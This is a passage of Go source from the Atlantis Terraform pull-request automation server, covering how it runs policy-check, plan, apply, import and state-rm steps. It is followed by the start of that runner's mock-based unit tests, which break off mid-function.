!policyStatus.Passed && (prjPolicyStatus[i].Approvals != policySet.ApproveCount) { allPassed = false } prjPolicySetResults = append(prjPolicySetResults, models.PolicySetResult{ PolicySetName: policySet.Name, Passed: policyStatus.Passed, CurApprovals: prjPolicyStatus[i].Approvals, ReqApprovals: policySet.ApproveCount, }) } } } if !allPassed { failure = `One or more policy sets require additional approval.` } return &models.PolicyCheckResults{ LockURL: p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey), PolicySetResults: prjPolicySetResults, ApplyCmd: ctx.ApplyCmd, RePlanCmd: ctx.RePlanCmd, ApprovePoliciesCmd: ctx.ApprovePoliciesCmd, }, failure, prjErr } func (p *DefaultProjectCommandRunner) doPolicyCheck(ctx command.ProjectContext) (*models.PolicyCheckResults, string, error) { // Acquire Atlantis lock for this repo/dir/workspace. // This should already be acquired from the prior plan operation. // if for some reason an unlock happens between the plan and policy check step // we will attempt to capture the lock here but fail to get the working directory // at which point we will unlock again to preserve functionality // If we fail to capture the lock here (super unlikely) then we error out and the user is forced to replan lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode) if err != nil { return nil, "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return nil, lockAttempt.LockFailureReason, nil } ctx.Log.Debug("acquired lock for project.") // Acquire internal lock for the directory we're going to operate in. // We should refactor this to keep the lock for the duration of plan and policy check since as of now // there is a small gap where we don't have the lock and if we can't get this here, we should just unlock the PR. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.PolicyCheck) if err != nil { return nil, "", err } defer unlockFn() // we shouldn't attempt to clone this again. If changes occur to the pull request while the plan is happening // that shouldn't affect this particular operation. repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) if err != nil { // let's unlock here since something probably nuked our directory between the plan and policy check phase if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) } if os.IsNotExist(err) { return nil, "", errors.New("project has not been cloned–did you run plan?") } return nil, "", err } absPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(absPath); os.IsNotExist(err) { // let's unlock here since something probably nuked our directory between the plan and policy check phase if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) } return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } var failure string outputs, err := p.runSteps(ctx.Steps, ctx, absPath) var errs error if err != nil { for { err = errors.Unwrap(err) if err == nil { break } // Exclude errors for failed policies if !strings.Contains(err.Error(), "some policies failed") { errs = errors.Join(errs, err) } } if errs != nil { // Note: we are explicitly not unlocking the pr here since a failing policy check will require // approval return nil, "", errs } } // Separate output from custom run steps var index int var preConftestOutput []string var postConftestOutput []string // Initialize policySetResults as empty slice instead of nil to prevent // "unable to unmarshal conftest output" error when outputs array is empty policySetResults := []models.PolicySetResult{} inputPolicySets := ctx.PolicySets.PolicySets for index, output := range outputs { if !ctx.CustomPolicyCheck { err = json.Unmarshal([]byte(strings.Join([]string{output}, "\n")), &policySetResults) if err == nil { break } preConftestOutput = append(preConftestOutput, output) } else { // Using a policy tool other than Conftest, manually building result struct policySetName := "Custom" if index < len(inputPolicySets) { policySetName = inputPolicySets[index].Name } // Handle empty output: treat as failure since it likely indicates misconfiguration // Non-empty output: parse conftest-style output to determine pass/fail // Check for actual failures (> 0), not just the word "fail" var passed bool var policyOutput string if output == "" { passed = false policyOutput = "WARNING: Policy check produced no output. This may indicate a misconfiguration." } else { // Use regex to check for actual failures (> 0), not just the word "fail" // Matches patterns like "1 failure", "2 failures", "10 failures", or JSON "failures": [...] failureRegex := regexp.MustCompile(`([1-9][0-9]* failure|failures": \[)`) hasFailures := failureRegex.MatchString(output) // Also check for FAIL prefix (conftest error output) hasFailPrefix := strings.HasPrefix(strings.TrimSpace(output), "FAIL") passed = !hasFailures && !hasFailPrefix policyOutput = output } policySetResults = append(policySetResults, models.PolicySetResult{PolicySetName: policySetName, PolicyOutput: policyOutput, Passed: passed, ReqApprovals: 1, CurApprovals: 0}) preConftestOutput = append(preConftestOutput, "") } } // Warn if custom policy check has mismatch between configured policy sets and outputs. // Note: With empty output preservation, this warning now only triggers when workflow steps // are completely missing, not when a step returns empty output. if ctx.CustomPolicyCheck { if len(policySetResults) < len(inputPolicySets) { ctx.Log.Warn("Configured %d policy sets but only received %d outputs. Policy sets without outputs: %v. Check your workflow configuration.", len(inputPolicySets), len(policySetResults), getMissingPolicySetNames(inputPolicySets, len(policySetResults))) } else if len(policySetResults) > len(inputPolicySets) { ctx.Log.Warn("Received %d outputs but only %d policy sets configured. Excess outputs will use 'Custom' as name.", len(policySetResults), len(inputPolicySets)) } } // Check if we have any policy check results // For non-custom policy checks (conftest), empty results means JSON parsing failed // For custom policy checks, empty results when policy sets are configured means the check failed if len(policySetResults) == 0 { if !ctx.CustomPolicyCheck { // Conftest should have produced JSON output return nil, "", errors.New("unable to unmarshal conftest output") } else if len(inputPolicySets) > 0 { // Custom policy check with configured policy sets but no results - this is a failure return nil, "", errors.New("custom policy check produced no results despite configured policy sets") } // Custom policy check with no configured policy sets and no results - this is OK } if len(outputs) > 0 { postConftestOutput = outputs[(index + 1):] } result := &models.PolicyCheckResults{ LockURL: p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey), PreConftestOutput: strings.Join(preConftestOutput, "\n"), PostConftestOutput: strings.Join(postConftestOutput, "\n"), PolicySetResults: policySetResults, RePlanCmd: ctx.RePlanCmd, ApplyCmd: ctx.ApplyCmd, ApprovePoliciesCmd: ctx.ApprovePoliciesCmd, } // Using this function instead of catching failed policy runs with errors, for cases when '--no-fail' is passed to conftest. // One reason to pass such an arg to conftest would be to prevent workflow termination so custom run scripts // can be run after the conftest step. // Only log outputs as errors if policies did not pass, otherwise log at debug level if !result.PolicyCleared() { ctx.Log.Err(strings.Join(outputs, "\n")) failure = "Some policy sets did not pass." } else { ctx.Log.Debug("policy check outputs %s", strings.Join(outputs, "\n")) } return result, failure, nil } func (p *DefaultProjectCommandRunner) doPlan(ctx command.ProjectContext) (*models.PlanSuccess, string, error) { // Acquire Atlantis lock for this repo/dir/workspace. lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode) if err != nil { return nil, "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return nil, lockAttempt.LockFailureReason, nil } ctx.Log.Debug("acquired lock for project") // Acquire internal lock for the directory we're going to operate in. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Plan) if err != nil { return nil, "", err } defer unlockFn() // Clone is idempotent so okay to run even if the repo was already cloned. repoDir, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) if err != nil { if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) } return nil, "", err } mergedAgain, err := p.WorkingDir.MergeAgain(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) if err != nil { if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) } return nil, "", err } projAbsPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(projAbsPath); os.IsNotExist(err) { return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } failure, err := p.CommandRequirementHandler.ValidatePlanProject(repoDir, ctx) if failure != "" || err != nil { return nil, failure, err } outputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath) if err != nil { if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) } return nil, "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) } return &models.PlanSuccess{ LockURL: p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey), TerraformOutput: strings.Join(outputs, "\n"), RePlanCmd: ctx.RePlanCmd, ApplyCmd: ctx.ApplyCmd, MergedAgain: mergedAgain, }, "", nil } func (p *DefaultProjectCommandRunner) doApply(ctx command.ProjectContext) (applyOut string, failure string, err error) { repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) if err != nil { if os.IsNotExist(err) { return "", "", errors.New("project has not been cloned–did you run plan?") } return "", "", err } absPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(absPath); os.IsNotExist(err) { return "", "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } failure, err = p.CommandRequirementHandler.ValidateApplyProject(repoDir, ctx) if failure != "" || err != nil { return "", failure, err } failure, err = p.CommandRequirementHandler.ValidateProjectDependencies(ctx) if failure != "" || err != nil { return "", failure, err } // Acquire Atlantis lock for this repo/dir/workspace. lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnApplyMode) if err != nil { return "", "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return "", lockAttempt.LockFailureReason, nil } ctx.Log.Debug("acquired lock for project") // Acquire internal lock for the directory we're going to operate in. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Apply) if err != nil { return "", "", err } defer unlockFn() outputs, err := p.runSteps(ctx.Steps, ctx, absPath) p.Webhooks.Send(ctx.Log, webhooks.ApplyResult{ // nolint: errcheck Workspace: ctx.Workspace, User: ctx.User, Repo: ctx.Pull.BaseRepo, Pull: ctx.Pull, Success: err == nil, Directory: ctx.RepoRelDir, ProjectName: ctx.ProjectName, }) if err != nil { return "", "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) } return strings.Join(outputs, "\n"), "", nil } func (p *DefaultProjectCommandRunner) doVersion(ctx command.ProjectContext) (versionOut string, failure string, err error) { repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) if err != nil { if os.IsNotExist(err) { return "", "", errors.New("project has not been cloned–did you run plan?") } return "", "", err } absPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(absPath); os.IsNotExist(err) { return "", "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } // Acquire internal lock for the directory we're going to operate in. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Version) if err != nil { return "", "", err } defer unlockFn() outputs, err := p.runSteps(ctx.Steps, ctx, absPath) if err != nil { return "", "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) } return strings.Join(outputs, "\n"), "", nil } func (p *DefaultProjectCommandRunner) doImport(ctx command.ProjectContext) (out *models.ImportSuccess, failure string, err error) { // Clone is idempotent so okay to run even if the repo was already cloned. repoDir, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) if cloneErr != nil { return nil, "", cloneErr } projAbsPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(projAbsPath); os.IsNotExist(err) { return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } failure, err = p.CommandRequirementHandler.ValidateImportProject(repoDir, ctx) if failure != "" || err != nil { return nil, failure, err } // Acquire Atlantis lock for this repo/dir/workspace. lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode != valid.RepoLocksDisabledMode) if err != nil { return nil, "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return nil, lockAttempt.LockFailureReason, nil } ctx.Log.Debug("acquired lock for project") // Acquire internal lock for the directory we're going to operate in. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Import) if err != nil { return nil, "", err } defer unlockFn() outputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath) if err != nil { return nil, "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) } // after import, re-plan command is required without import args rePlanCmd := strings.TrimSpace(strings.Split(ctx.RePlanCmd, "--")[0]) return &models.ImportSuccess{ Output: strings.Join(outputs, "\n"), RePlanCmd: rePlanCmd, }, "", nil } func (p *DefaultProjectCommandRunner) doStateRm(ctx command.ProjectContext) (out *models.StateRmSuccess, failure string, err error) { // Clone is idempotent so okay to run even if the repo was already cloned. repoDir, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) if cloneErr != nil { return nil, "", cloneErr } projAbsPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(projAbsPath); os.IsNotExist(err) { return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } // Acquire Atlantis lock for this repo/dir/workspace. lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode != valid.RepoLocksDisabledMode) if err != nil { return nil, "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return nil, lockAttempt.LockFailureReason, nil } ctx.Log.Debug("acquired lock for project") // Acquire internal lock for the directory we're going to operate in. unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.State) if err != nil { return nil, "", err } defer unlockFn() outputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath) if err != nil { return nil, "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) } // after state rm, re-plan command is required without state rm args rePlanCmd := strings.TrimSpace(strings.Split(ctx.RePlanCmd, "--")[0]) return &models.StateRmSuccess{ Output: strings.Join(outputs, "\n"), RePlanCmd: rePlanCmd, }, "", nil } func (p *DefaultProjectCommandRunner) runSteps(steps []valid.Step, ctx command.ProjectContext, absPath string) ([]string, error) { var outputs []string // Hold a read lock for the whole step run so clone/reset/merge cannot run in this dir until we're done. unlock := p.WorkingDir.GitReadLock(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) defer unlock() envs := make(map[string]string) for _, step := range steps { var out string var err error switch step.StepName { case "init": out, err = p.InitStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "plan": out, err = p.PlanStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "show": _, err = p.ShowStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "policy_check": out, err = p.PolicyCheckStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "apply": out, err = p.ApplyStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "version": out, err = p.VersionStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "import": out, err = p.ImportStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "state_rm": out, err = p.StateRmStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) case "run": out, err = p.RunStepRunner.Run(ctx, step.RunShell, step.RunCommand, absPath, envs, true, step.Output, step.FilterRegexes) case "env": out, err = p.EnvStepRunner.Run(ctx, step.RunShell, step.RunCommand, step.EnvVarValue, absPath, envs) envs[step.EnvVarName] = out // We reset out to the empty string because we don't want it to // be printed to the PR, it's solely to set the environment variable. out = "" case "multienv": out, err = p.MultiEnvStepRunner.Run(ctx, step.RunShell, step.RunCommand, absPath, envs, step.Output) } // Keep all policy_check outputs for custom policy checks to maintain positional alignment with policy sets // Empty outputs are still appended to prevent index mismatches if out != "" || (step.StepName == "policy_check" && ctx.CustomPolicyCheck) { outputs = append(outputs, out) } if err != nil { return outputs, err } } return outputs, nil } // getMissingPolicySetNames returns the names of policy sets that don't have corresponding outputs func getMissingPolicySetNames(policySets []valid.PolicySet, receivedCount int) []string { var missing []string for i := receivedCount; i < len(policySets); i++ { missing = append(missing, policySets[i].Name) } return missing } ================================================ FILE: server/events/project_command_runner_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "errors" "fmt" "os" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/core/terraform" tmocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Test that it runs the expected plan steps. func TestDefaultProjectCommandRunner_Plan(t *testing.T) { RegisterMockTestingT(t) mockInit := mocks.NewMockStepRunner() mockPlan := mocks.NewMockStepRunner() mockApply := mocks.NewMockStepRunner() mockRun := mocks.NewMockCustomStepRunner() realEnv := runtime.EnvStepRunner{} mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockCommandRequirementHandler := mocks.NewMockCommandRequirementHandler() runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, InitStepRunner: mockInit, PlanStepRunner: mockPlan, ApplyStepRunner: mockApply, RunStepRunner: mockRun, EnvStepRunner: &realEnv, PullApprovedChecker: nil, WorkingDir: mockWorkingDir, Webhooks: nil, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: mockCommandRequirementHandler, } repoDir := t.TempDir() When(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil) When(mockLocker.TryLock(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool())).ThenReturn(&events.TryLockResponse{LockAcquired: true, LockKey: "lock-key"}, nil) expEnvs := map[string]string{ "name": "value", } ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Steps: []valid.Step{ { StepName: "env", EnvVarName: "name", EnvVarValue: "value", }, { StepName: "run", }, { StepName: "apply", }, { StepName: "plan", }, { StepName: "init", }, }, Workspace: "default", RepoRelDir: ".", } // Each step will output its step name. When(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("init", nil) When(mockPlan.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("plan", nil) When(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("apply", nil) When(mockRun.Run(ctx, nil, "", repoDir, expEnvs, true, nil, nil)).ThenReturn("run", nil) res := runner.Plan(ctx) Assert(t, res.PlanSuccess != nil, "exp plan success") Equals(t, "https://lock-key", res.PlanSuccess.LockURL) t.Logf("output is %s", res.PlanSuccess.TerraformOutput) Equals(t, "run\napply\nplan\ninit", res.PlanSuccess.TerraformOutput) expSteps := []string{"run", "apply", "plan", "init", "env"} for _, step := range expSteps { switch step { case "init": mockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "plan": mockPlan.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "apply": mockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "run": mockRun.VerifyWasCalledOnce().Run(ctx, nil, "", repoDir, expEnvs, true, nil, nil) } } } func TestProjectOutputWrapper(t *testing.T) { RegisterMockTestingT(t) ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Steps: []valid.Step{ { StepName: "plan", }, }, Workspace: "default", RepoRelDir: ".", } cases := []struct { Description string Failure bool Error bool Success bool CommandName command.Name }{ { Description: "plan success", Success: true, CommandName: command.Plan, }, { Description: "plan failure", Failure: true, CommandName: command.Plan, }, { Description: "plan error", Error: true, CommandName: command.Plan, }, { Description: "apply success", Success: true, CommandName: command.Apply, }, { Description: "apply failure", Failure: true, CommandName: command.Apply, }, { Description: "apply error", Error: true, CommandName: command.Apply, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { var prjResult command.ProjectCommandOutput var expCommitStatus models.CommitStatus mockJobURLSetter := mocks.NewMockJobURLSetter() mockJobMessageSender := mocks.NewMockJobMessageSender() mockProjectCommandRunner := mocks.NewMockProjectCommandRunner() runner := &events.ProjectOutputWrapper{ JobURLSetter: mockJobURLSetter, JobMessageSender: mockJobMessageSender, ProjectCommandRunner: mockProjectCommandRunner, } if c.Success { prjResult = command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, ApplySuccess: "exists", } expCommitStatus = models.SuccessCommitStatus } else if c.Failure { prjResult = command.ProjectCommandOutput{ Failure: "failure", } expCommitStatus = models.FailedCommitStatus } else if c.Error { prjResult = command.ProjectCommandOutput{ Error: errors.New("error"), } expCommitStatus = models.FailedCommitStatus } When(mockProjectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(prjResult) When(mockProjectCommandRunner.Apply(Any[command.ProjectContext]())).ThenReturn(prjResult) switch c.CommandName { case command.Plan: runner.Plan(ctx) case command.Apply: runner.Apply(ctx) } mockJobURLSetter.VerifyWasCalled(Once()).SetJobURLWithStatus(ctx, c.CommandName, models.PendingCommitStatus, nil) mockJobURLSetter.VerifyWasCalled(Once()).SetJobURLWithStatus(ctx, c.CommandName, expCommitStatus, &prjResult) switch c.CommandName { case command.Plan: mockProjectCommandRunner.VerifyWasCalledOnce().Plan(ctx) case command.Apply: mockProjectCommandRunner.VerifyWasCalledOnce().Apply(ctx) } }) } } // Test what happens if there's no working dir. This signals that the project // was never planned. func TestDefaultProjectCommandRunner_ApplyNotCloned(t *testing.T) { mockWorkingDir := mocks.NewMockWorkingDir() runner := &events.DefaultProjectCommandRunner{ WorkingDir: mockWorkingDir, } ctx := command.ProjectContext{} When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn("", os.ErrNotExist) res := runner.Apply(ctx) ErrEquals(t, "project has not been cloned–did you run plan?", res.Error) } // Test that if approval is required and the PR isn't approved we give an error. func TestDefaultProjectCommandRunner_ApplyNotApproved(t *testing.T) { RegisterMockTestingT(t) mockWorkingDir := mocks.NewMockWorkingDir() runner := &events.DefaultProjectCommandRunner{ WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ WorkingDir: mockWorkingDir, }, } ctx := command.ProjectContext{ ApplyRequirements: []string{"approved"}, } tmp := t.TempDir() When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil) res := runner.Apply(ctx) Equals(t, "Pull request must be approved according to the project's approval rules before running apply.", res.Failure) } // Test that if mergeable is required and the PR isn't mergeable we give an error. func TestDefaultProjectCommandRunner_ApplyNotMergeable(t *testing.T) { RegisterMockTestingT(t) mockWorkingDir := mocks.NewMockWorkingDir() runner := &events.DefaultProjectCommandRunner{ WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ WorkingDir: mockWorkingDir, }, } ctx := command.ProjectContext{ PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: false}, }, ApplyRequirements: []string{"mergeable"}, } tmp := t.TempDir() When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil) res := runner.Apply(ctx) Equals(t, "Pull request must be mergeable before running apply.", res.Failure) } // Test that if undiverged is required and the PR is diverged we give an error. func TestDefaultProjectCommandRunner_ApplyDiverged(t *testing.T) { RegisterMockTestingT(t) mockWorkingDir := mocks.NewMockWorkingDir() runner := &events.DefaultProjectCommandRunner{ WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ WorkingDir: mockWorkingDir, }, } log := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: log, ApplyRequirements: []string{"undiverged"}, } tmp := t.TempDir() When(mockWorkingDir.GetWorkingDir(ctx.BaseRepo, ctx.Pull, ctx.Workspace)).ThenReturn(tmp, nil) When(mockWorkingDir.HasDiverged(ctx.Log, tmp)).ThenReturn(true) res := runner.Apply(ctx) Equals(t, "Default branch must be rebased onto pull request before running apply.", res.Failure) } // Test that it runs the expected apply steps. func TestDefaultProjectCommandRunner_Apply(t *testing.T) { cases := []struct { description string steps []valid.Step applyReqs []string expSteps []string expOut string expFailure string pullMergeable bool }{ { description: "normal workflow", steps: valid.DefaultApplyStage.Steps, expSteps: []string{"apply"}, expOut: "apply", }, { description: "approval required", steps: valid.DefaultApplyStage.Steps, applyReqs: []string{"approved"}, expSteps: []string{"approve", "apply"}, expOut: "apply", }, { description: "mergeable required", steps: valid.DefaultApplyStage.Steps, pullMergeable: true, applyReqs: []string{"mergeable"}, expSteps: []string{"apply"}, expOut: "apply", }, { description: "mergeable required, pull not mergeable", steps: valid.DefaultApplyStage.Steps, pullMergeable: false, applyReqs: []string{"mergeable"}, expSteps: []string{""}, expOut: "", expFailure: "Pull request must be mergeable before running apply.", }, { description: "mergeable and approved required", steps: valid.DefaultApplyStage.Steps, pullMergeable: true, applyReqs: []string{"mergeable", "approved"}, expSteps: []string{"approved", "apply"}, expOut: "apply", }, { description: "workflow with custom apply stage", steps: []valid.Step{ { StepName: "env", EnvVarName: "key", EnvVarValue: "value", }, { StepName: "run", }, { StepName: "apply", }, { StepName: "plan", }, { StepName: "init", }, }, expSteps: []string{"env", "run", "apply", "plan", "init"}, expOut: "run\napply\nplan\ninit", }, } for _, c := range cases { if c.description != "workflow with custom apply stage" { continue } t.Run(c.description, func(t *testing.T) { RegisterMockTestingT(t) mockInit := mocks.NewMockStepRunner() mockPlan := mocks.NewMockStepRunner() mockApply := mocks.NewMockStepRunner() mockRun := mocks.NewMockCustomStepRunner() mockEnv := mocks.NewMockEnvStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockSender := mocks.NewMockWebhooksSender() applyReqHandler := &events.DefaultCommandRequirementHandler{ WorkingDir: mockWorkingDir, } runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, InitStepRunner: mockInit, PlanStepRunner: mockPlan, ApplyStepRunner: mockApply, RunStepRunner: mockRun, EnvStepRunner: mockEnv, WorkingDir: mockWorkingDir, Webhooks: mockSender, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: applyReqHandler, } repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( Any[models.Repo](), Any[models.PullRequest](), Any[string](), )).ThenReturn(repoDir, nil) When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", }, nil) ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Steps: c.steps, Workspace: "default", ApplyRequirements: c.applyReqs, RepoRelDir: ".", PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{ IsApproved: true, }, MergeableStatus: models.MergeableStatus{IsMergeable: false}, }, } expEnvs := map[string]string{ "key": "value", } When(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("init", nil) When(mockPlan.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("plan", nil) When(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("apply", nil) When(mockRun.Run(ctx, nil, "", repoDir, expEnvs, true, nil, nil)).ThenReturn("run", nil) When(mockEnv.Run(ctx, nil, "", "value", repoDir, make(map[string]string))).ThenReturn("value", nil) res := runner.Apply(ctx) Equals(t, c.expOut, res.ApplySuccess) Equals(t, c.expFailure, res.Failure) for _, step := range c.expSteps { switch step { case "init": mockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "plan": mockPlan.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "apply": 